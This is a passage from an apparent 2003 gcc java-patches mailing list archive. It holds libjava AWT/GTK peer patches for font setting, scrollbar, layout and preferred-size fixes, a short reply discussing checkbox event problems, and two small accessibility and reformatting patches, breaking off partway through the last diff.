00:29:08 = -0000=0A= @@ -51,6 +51,8 @@=0A= =0A= native void gtkEntryGetSize (int cols, int dims[]);=0A= =0A= + native void gtkSetFont(String xlfd, int size);=0A= +=0A= public GtkTextFieldPeer (TextField tf)=0A= {=0A= super (tf);=0A= @@ -94,5 +96,10 @@=0A= public void setEchoCharacter (char c)=0A= {=0A= setEchoChar (c);=0A= + }=0A= +=0A= + public void setFont (Font f)=0A= + {=0A= + gtkSetFont(((GtkFontPeer)f.getPeer()).getXLFD(), f.getSize());=0A= }=0A= }=0A= Index: gnu/java/awt/peer/gtk/GtkComponentPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkComponentPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkComponentPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkComponentPeer.java 31 Jan 2003 17:54:13 = -0000 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkComponentPeer.java 19 Feb 2003 00:29:08 = -0000=0A= @@ -88,6 +88,8 @@=0A= awtComponent.setBackground (getBackground ());=0A= // if (c.getFont () =3D=3D null)=0A= // c.setFont (cp.getFont ());=0A= + if (awtComponent.getFont() !=3D null)=0A= + setFont(awtComponent.getFont());=0A= =0A= if (! (awtComponent instanceof Window))=0A= {=0A= @@ -273,6 +275,9 @@=0A= =0A= public void setFont (Font f)=0A= {=0A= + // FIXME: This should really affect the widget tree below me.=0A= + // Currently this is only handled if the call is made directly = on=0A= + // a text widget, which implements setFont() itself.=0A= }=0A= =0A= public void setForeground (Color c) =0A= @@ -352,7 +357,8 @@=0A= p =3D component.getPeer ();=0A= } while (p instanceof java.awt.peer.LightweightPeer);=0A= =0A= - args.add ("parent", p);=0A= + if (p !=3D null)=0A= + args.add ("parent", p);=0A= }=0A= =0A= native void set (String name, String value);=0A= Index: gnu/java/awt/peer/gtk/GtkFontPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkFontPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkFontPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkFontPeer.java 31 Jan 2003 17:54:13 -0000 = 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkFontPeer.java 19 Feb 2003 00:29:08 = -0000=0A= @@ -57,14 +57,34 @@=0A= }=0A= }=0A= =0A= - final private String Xname;=0A= + final private String Xname; // uses %d for font size.=0A= =0A= public GtkFontPeer (String name, int style)=0A= {=0A= if (bundle !=3D null)=0A= Xname =3D bundle.getString (name.toLowerCase () + "." + = style);=0A= else=0A= - Xname =3D "-*-*-medium-r-normal-*-12-*-*-*-c-*-*-*";=0A= + {=0A= + String weight;=0A= + String slant;=0A= + String spacing;=0A= +=0A= + if (style =3D=3D Font.ITALIC || (style =3D=3D = (Font.BOLD+Font.ITALIC)))=0A= + slant =3D "i";=0A= + else=0A= + slant =3D "r";=0A= + if (style =3D=3D Font.BOLD || (style =3D=3D = (Font.BOLD+Font.ITALIC)))=0A= + weight =3D "bold";=0A= + else=0A= + weight =3D "medium";=0A= + if (name.equals("Serif") || name.equals("SansSerif")=0A= + || name.equals("Helvetica") || name.equals("Times"))=0A= + spacing =3D "p";=0A= + else=0A= + spacing =3D "c";=0A= +=0A= + Xname =3D "-*-*-" + weight + "-" + slant + = "-normal-*-%d-*-*-*-" + spacing + "-*-*-*";=0A= + }=0A= }=0A= =0A= public String getXLFD ()=0A= Index: jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c,= v=0A= retrieving revision 1.1=0A= diff -u -r1.1 gnu_java_awt_peer_gtk_GtkButtonPeer.c=0A= --- jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c 31 Jan 2003 = 17:54:14 -0000 1.1=0A= +++ jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c 19 Feb 2003 = 00:29:08 -0000=0A= @@ -50,3 +50,39 @@=0A= =0A= NSA_SET_PTR (env, obj, widget);=0A= }=0A= +=0A= +JNIEXPORT void JNICALL =0A= +Java_gnu_java_awt_peer_gtk_GtkButtonPeer_gtkSetFont=0A= + (JNIEnv *env, jobject obj, jstring jname, jint size)=0A= +{=0A= + const char *xlfd;=0A= +# define FBUFSZ 200=0A= + char buf[FBUFSZ];=0A= + void *ptr;=0A= + GdkFont * new_font;=0A= + GtkStyle * style;=0A= + GtkWidget * button;=0A= + GtkWidget * label;=0A= +=0A= + ptr =3D NSA_GET_PTR (env, obj);=0A= + button =3D GTK_WIDGET (ptr);=0A= + label =3D GTK_BIN(button)->child;=0A= + =0A= + if (label =3D=3D NULL) return;=0A= + xlfd =3D (*env)->GetStringUTFChars (env, jname, NULL);=0A= + snprintf(buf, FBUFSZ, xlfd, size);=0A= + (*env)->ReleaseStringUTFChars (env, jname, xlfd);=0A= + gdk_threads_enter();=0A= + new_font =3D gdk_font_load (buf); /* FIXME: deprecated. = Replacement? */=0A= + if (new_font =3D=3D NULL)=0A= + {=0A= + /* Fail quietly for now. */=0A= + gdk_threads_leave();=0A= + return;=0A= + }=0A= + style =3D gtk_style_copy (gtk_widget_get_style (label));=0A= + style -> font =3D new_font;=0A= + gtk_widget_set_style (label, style);=0A= + /* FIXME: Documentation varies as to whether we should unref style. = */=0A= + gdk_threads_leave();=0A= +}=0A= Index: jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.= c,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 gnu_java_awt_peer_gtk_GtkTextAreaPeer.c=0A= --- jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c 31 Jan 2003 = 17:54:14 -0000 1.1=0A= +++ jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c 19 Feb 2003 = 00:29:08 -0000=0A= @@ -135,27 +135,32 @@=0A= text =3D GTK_WIDGET (TEXT_FROM_SW (ptr));=0A= sw =3D GTK_SCROLLED_WINDOW (ptr);=0A= =0A= - gtk_signal_emit_by_name (GTK_OBJECT = (GTK_SCROLLED_WINDOW(sw)->hscrollbar), =0A= + gtk_signal_emit_by_name (GTK_OBJECT = (GTK_SCROLLED_WINDOW(sw)->vscrollbar), =0A= "size_request", &myreq);=0A= //gtk_widget_size_request(GTK_WIDGET = (GTK_SCROLLED_WINDOW(sw)->hscrollbar), =0A= // &myreq);=0A= dims[0]=3Dmyreq.width+GTK_SCROLLED_WINDOW_CLASS =0A= (GTK_OBJECT (sw)->klass)->scrollbar_spacing;=0A= =0A= - gtk_signal_emit_by_name (GTK_OBJECT = (GTK_SCROLLED_WINDOW(sw)->vscrollbar), =0A= + gtk_signal_emit_by_name (GTK_OBJECT = (GTK_SCROLLED_WINDOW(sw)->hscrollbar), =0A= "size_request", &myreq);=0A= //gtk_widget_size_request(GTK_WIDGET = (GTK_SCROLLED_WINDOW(sw)->vscrollbar), =0A= // &myreq);=0A= - dims[1]=3Dmyreq.width+GTK_SCROLLED_WINDOW_CLASS =0A= + dims[1]=3Dmyreq.height+GTK_SCROLLED_WINDOW_CLASS =0A= (GTK_OBJECT (sw)->klass)->scrollbar_spacing;=0A= =0A= /* The '1' in the following assignments is from =0A= #define TEXT_BORDER_ROOM 1=0A= in gtktext.c */=0A= =0A= + /* Gtk text seems to wrap slightly prematurely. Compensate. */=0A= + ++cols;=0A= + ++dims[0];=0A= +=0A= dims[0] +=3D ((cols * gdk_char_width (text->style->font, 'W'))=0A= + (2 * (text->style->klass->xthickness + 1)));=0A= - dims[1] +=3D ((rows * gdk_char_height (text->style->font, 'W'))=0A= + /* Guess at the height. Is there a better way? */=0A= + dims[1] +=3D ((rows * gdk_string_height (text->style->font, = "Wg"))=0A= + (2 * (text->style->klass->ythickness + 1)));=0A= =0A= gdk_threads_leave ();=0A= @@ -207,3 +212,35 @@=0A= (*env)->ReleaseStringUTFChars (env, contents, str);=0A= }=0A= =0A= +JNIEXPORT void JNICALL =0A= +Java_gnu_java_awt_peer_gtk_GtkTextAreaPeer_gtkSetFont=0A= + (JNIEnv *env, jobject obj, jstring jname, jint size)=0A= +{=0A= + const char *xlfd;=0A= +# define FBUFSZ 200=0A= + char buf[FBUFSZ];=0A= + void *ptr;=0A= + GdkFont * new_font;=0A= + GtkStyle * style;=0A= + GtkWidget * text;=0A= +=0A= + ptr =3D NSA_GET_PTR (env, obj);=0A= + text =3D GTK_WIDGET (TEXT_FROM_SW (ptr));=0A= + =0A= + xlfd =3D (*env)->GetStringUTFChars (env, jname, NULL);=0A= + snprintf(buf, FBUFSZ, xlfd, size);=0A= + (*env)->ReleaseStringUTFChars (env, jname, xlfd);=0A= + gdk_threads_enter();=0A= + new_font =3D gdk_font_load (buf); /* FIXME: deprecated. = Replacement? */=0A= + if (new_font =3D=3D NULL)=0A= + {=0A= + /* Fail quietly for now. */=0A= + gdk_threads_leave();=0A= + return;=0A= + }=0A= + style =3D gtk_style_copy (gtk_widget_get_style (text));=0A= + style -> font =3D new_font;=0A= + gtk_widget_set_style (text , style);=0A= + /* FIXME: Documentation varies as to whether we should unref style. = */=0A= + gdk_threads_leave();=0A= +}=0A= Index: jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer= .c,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 gnu_java_awt_peer_gtk_GtkTextFieldPeer.c=0A= --- jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c 31 Jan 2003 = 17:54:14 -0000 1.1=0A= +++ jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c 19 Feb 2003 = 00:29:08 -0000=0A= @@ -148,3 +148,36 @@=0A= =0A= gdk_threads_leave ();=0A= }=0A= +=0A= +JNIEXPORT void JNICALL =0A= +Java_gnu_java_awt_peer_gtk_GtkTextFieldPeer_gtkSetFont=0A= + (JNIEnv *env, jobject obj, jstring jname, jint size)=0A= +{=0A= + const char *xlfd;=0A= +# define FBUFSZ 200=0A= + char buf[FBUFSZ];=0A= + void *ptr;=0A= + GdkFont * new_font;=0A= + GtkStyle * style;=0A= + GtkWidget * text;=0A= +=0A= + ptr =3D NSA_GET_PTR (env, obj);=0A= + text =3D GTK_WIDGET (ptr);=0A= + =0A= + xlfd =3D (*env)->GetStringUTFChars (env, jname, NULL);=0A= + snprintf(buf, FBUFSZ, xlfd, size);=0A= + (*env)->ReleaseStringUTFChars (env, jname, xlfd);=0A= + gdk_threads_enter();=0A= + new_font =3D gdk_font_load(buf); /* FIXME: deprecated. Replacement? = */=0A= + if (new_font =3D=3D NULL)=0A= + {=0A= + /* Fail quietly for now. */=0A= + gdk_threads_leave();=0A= + return;=0A= + }=0A= + style =3D gtk_style_copy (gtk_widget_get_style (text));=0A= + style -> font =3D new_font;=0A= + gtk_widget_set_style (text , style);=0A= + /* FIXME: Documentation varies as to whether we should unref style. = */=0A= + gdk_threads_leave();=0A= +}=0A= Index: jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer= .c,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 gnu_java_awt_peer_gtk_GtkScrollBarPeer.c=0A= --- jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c 31 Jan 2003 = 17:54:14 -0000 1.1=0A= +++ jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c 19 Feb 2003 = 00:29:08 -0000=0A= @@ -65,9 +65,10 @@=0A= type =3D AWT_ADJUSTMENT_BLOCK_DECREMENT;=0A= break;=0A= case GTK_SCROLL_JUMP:=0A= + case GTK_SCROLL_NONE: /* Apparently generated when slider is = dragged. */=0A= type =3D AWT_ADJUSTMENT_TRACK;=0A= break;=0A= - default: /* GTK_SCROLL_NONE */=0A= + default: /* Can this happen? If so, is this right? */=0A= return;=0A= }=0A= =0A= Index: java/awt/Scrollbar.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/Scrollbar.java,v=0A= retrieving revision 1.12=0A= diff -u -r1.12 Scrollbar.java=0A= --- java/awt/Scrollbar.java 15 Feb 2003 09:21:55 -0000 1.12=0A= +++ java/awt/Scrollbar.java 19 Feb 2003 00:29:08 -0000=0A= @@ -390,8 +390,8 @@=0A= if (value > maximum)=0A= value =3D maximum;=0A= =0A= - if (visibleAmount > value)=0A= - visibleAmount =3D value;=0A= + if (visibleAmount > maximum - minimum)=0A= + visibleAmount =3D maximum - minimum;=0A= =0A= this.value =3D value;=0A= this.visibleAmount =3D visibleAmount;=0A= @@ -664,6 +664,7 @@=0A= protected void=0A= processAdjustmentEvent(AdjustmentEvent event)=0A= {=0A= + value =3D event.getValue();=0A= if (adjustment_listeners !=3D null)=0A= adjustment_listeners.adjustmentValueChanged(event);=0A= }=0A= Index: java/awt/FlowLayout.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/FlowLayout.java,v=0A= retrieving revision 1.8=0A= diff -u -r1.8 FlowLayout.java=0A= --- java/awt/FlowLayout.java 10 Nov 2002 23:11:21 -0000 1.8=0A= +++ java/awt/FlowLayout.java 19 Feb 2003 00:29:08 -0000=0A= @@ -171,13 +171,13 @@=0A= int new_h =3D 0;=0A= int j;=0A= boolean found_one =3D false;=0A= - for (j =3D i; j < num && ! found_one; ++j)=0A= + for (j =3D i; j < num; ++j)=0A= {=0A= // Skip invisible items.=0A= - if (! comps[i].visible)=0A= + if (! comps[j].visible)=0A= continue;=0A= =0A= - Dimension c =3D comps[i].getPreferredSize ();=0A= + Dimension c =3D comps[j].getPreferredSize ();=0A= =0A= int next_w =3D new_w + hgap + c.width;=0A= if (next_w <=3D d.width || ! found_one)=0A= Index: java/awt/Component.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/Component.java,v=0A= retrieving revision 1.22=0A= diff -u -r1.22 Component.java=0A= --- java/awt/Component.java 28 Jan 2003 23:49:46 -0000 1.22=0A= +++ java/awt/Component.java 19 Feb 2003 00:29:09 -0000=0A= @@ -844,9 +844,10 @@=0A= // Inspection by subclassing shows that Sun's implementation = calls=0A= // show(boolean) which then calls show() or hide(). It is the = show()=0A= // method that is overriden in subclasses like Window.=0A= - if (peer !=3D null)=0A= - peer.setVisible(b);=0A= - this.visible =3D b;=0A= + if (b)=0A= + show();=0A= + else=0A= + hide();=0A= }=0A= =0A= /**=0A= @@ -856,7 +857,9 @@=0A= */=0A= public void show()=0A= {=0A= - setVisible(true);=0A= + if (peer !=3D null)=0A= + peer.setVisible(true);=0A= + this.visible =3D true;=0A= }=0A= =0A= /**=0A= @@ -877,7 +880,9 @@=0A= */=0A= public void hide()=0A= {=0A= - setVisible(false);=0A= + if (peer !=3D null)=0A= + peer.setVisible(false);=0A= + this.visible =3D false;=0A= }=0A= =0A= /**=0A= @@ -1448,8 +1453,10 @@=0A= public Dimension getPreferredSize()=0A= {=0A= if (prefSize =3D=3D null)=0A= - prefSize =3D (peer !=3D null ? peer.getPreferredSize()=0A= - : new Dimension(width, height));=0A= + if (peer =3D=3D null)=0A= + return new Dimension(width, height);=0A= + else =0A= + prefSize =3D peer.getPreferredSize();=0A= return prefSize;=0A= }=0A= =0A= Index: java/awt/TextArea.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/TextArea.java,v=0A= retrieving revision 1.6=0A= diff -u -r1.6 TextArea.java=0A= --- java/awt/TextArea.java 13 Feb 2003 19:28:31 -0000 1.6=0A= +++ java/awt/TextArea.java 19 Feb 2003 00:29:09 -0000=0A= @@ -370,7 +370,11 @@=0A= {=0A= TextAreaPeer tap =3D (TextAreaPeer)getPeer();=0A= if (tap =3D=3D null)=0A= - return(null); // FIXME: What do we do if there is no peer?=0A= + {=0A= + // Sun's JDK just seems to return Dimension(0,0) in this = case.=0A= + // we do the same.=0A= + return new Dimension(0, 0);=0A= + }=0A= =0A= return(tap.getPreferredSize(rows, columns));=0A= }=0A= Index: java/awt/TextField.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/TextField.java,v=0A= retrieving revision 1.6=0A= diff -u -r1.6 TextField.java=0A= --- java/awt/TextField.java 15 Feb 2003 09:21:55 -0000 1.6=0A= +++ java/awt/TextField.java 19 Feb 2003 00:29:09 -0000=0A= @@ -345,8 +345,9 @@=0A= {=0A= TextFieldPeer tfp =3D (TextFieldPeer)getPeer();=0A= if (tfp =3D=3D null)=0A= - return(null); // FIXME: What do we do if there is no peer?=0A= -=0A= + {=0A= + return new Dimension(0, 0);=0A= + }=0A= return(tfp.getPreferredSize(columns));=0A= }=0A= =0A= ------_=_NextPart_000_01C2D7B2.39AB18A0-- From java-patches-return-6204-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 03:46:17 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4797 invoked by alias); 19 Feb 2003 03:46:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4788 invoked from network); 19 Feb 2003 03:46:15 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 19 Feb 2003 03:46:15 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA10524; Tue, 18 Feb 2003 20:46:09 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 5289D4F8354; Tue, 18 Feb 2003 20:36:57 -0700 (MST) To: "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org'" Subject: Re: Possible awt patches References: <75A9FEBA25015040A761C1F74975667DA136B3@hplex4.hpl.hp.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Now, let's SEND OUT for QUICHE!! Date: 18 Feb 2003 20:36:56 -0700 In-Reply-To: <75A9FEBA25015040A761C1F74975667DA136B3@hplex4.hpl.hp.com> Message-ID: <87of596iw7.fsf@fleche.redhat.com> Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Hans" == Boehm, Hans writes: Hans> For the record, I attached the patch I checked into the gcc Hans> trunk. I don't have a Classpath tree, so I would appreciate it Hans> if Tom could check it on there. No problem. Thanks for writing this. Hans> - I removed the parentheses from the return statements. (This Hans> makes the patch less consistent with what was there before, but Hans> presumably that's temporary?) I slowly convert sources to the current style. Hans> It looks like I'm still having trouble getting some events from Hans> at least TextAreas and Checkboxes. But otherwise things are Hans> starting to look OK. Checkboxes have some known problems when they are in groups. Basically, the group never seems to be notified of changes. You can see this in the TestAWT app: bring up the checkbox window, change the setting, close the window, and bring it up again. The setting will be lost, which I think is incorrect. Tom From java-patches-return-6205-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 11:55:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28039 invoked by alias); 19 Feb 2003 11:55:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28029 invoked from network); 19 Feb 2003 11:55:07 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 19 Feb 2003 11:55:07 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-75-071.ewetel.net [80.228.75.71]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1JBt4GF000932 for ; Wed, 19 Feb 2003 12:55:05 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] javax.accessibility.AccessibleContext Date: Wed, 19 Feb 2003 13:53:16 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_843U+j0w8CCoyGo" Message-Id: <200302191353.20601.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_843U+j0w8CCoyGo Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the atteched patch to fix a typo. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+U35AWSOgCCdjSDsRAtmbAJ4+nAI0bEom9wArnhIslRsO0yS6zQCfZBFF +hlJCfvM7fauMnF/pAes5T8=3D =3D2FF4 =2D----END PGP SIGNATURE----- --Boundary-00=_843U+j0w8CCoyGo Content-Type: text/x-diff; charset="iso-8859-15"; name="access.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="access.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1718 diff -u -r1.1718 ChangeLog --- ChangeLog 19 Feb 2003 11:41:16 -0000 1.1718 +++ ChangeLog 19 Feb 2003 11:43:57 -0000 @@ -1,5 +1,10 @@ 2003-02-19 Michael Koch + * javax/accessibility/AccessibleContext.java + (ACCESSIBLE_DESCRIPTION_PROPERTY): Fixed typo. + +2003-02-19 Michael Koch + * java/awt/ScrollPaneAdjustable.java: Reformated. 2003-02-19 Michael Koch Index: javax/accessibility/AccessibleContext.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/accessibility/AccessibleContext.java,v retrieving revision 1.1 diff -u -r1.1 AccessibleContext.java --- javax/accessibility/AccessibleContext.java 9 Aug 2002 04:26:13 -0000 1.1 +++ javax/accessibility/AccessibleContext.java 19 Feb 2003 11:43:57 -0000 @@ -72,7 +72,7 @@ = "AccessibleName"; /** - * Constanat used when the accessible description has changed. Both the old + * Constant used when the accessible description has changed. Both the old * and new values are listed in the event. * * @see #getAccessibleDescription() --Boundary-00=_843U+j0w8CCoyGo-- From java-patches-return-6206-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 11:55:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28047 invoked by alias); 19 Feb 2003 11:55:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28040 invoked from network); 19 Feb 2003 11:55:08 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 19 Feb 2003 11:55:08 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-75-071.ewetel.net [80.228.75.71]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1JBt4GH000932 for ; Wed, 19 Feb 2003 12:55:06 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt.ScrollPaneAdjustable Date: Wed, 19 Feb 2003 13:54:08 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_w53U+kkVC2U5TQj" Message-Id: <200302191354.08691.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_w53U+kkVC2U5TQj Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to reformat=20 java.awt.ScrollPaneAdjustable. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+U35wWSOgCCdjSDsRAkhlAJ9fCsukMEiBe8EYXjTFmQm+FWso3QCfaxQb GUkZZVeG/rHs/qZjycGBPto=3D =3DLaE7 =2D----END PGP SIGNATURE----- --Boundary-00=_w53U+kkVC2U5TQj Content-Type: text/x-diff; charset="iso-8859-15"; name="spa.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="spa.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1717 diff -u -r1.1717 ChangeLog --- ChangeLog 19 Feb 2003 09:46:40 -0000 1.1717 +++ ChangeLog 19 Feb 2003 11:40:42 -0000 @@ -1,3 +1,7 @@ +2003-02-19 Michael Koch + + * java/awt/ScrollPaneAdjustable.java: Reformated. + 2003-02-19 Michael Koch * gnu/awt/j2d/Graphics2DImpl.java Index: java/awt/ScrollPaneAdjustable.java =================================================================== RCS file: 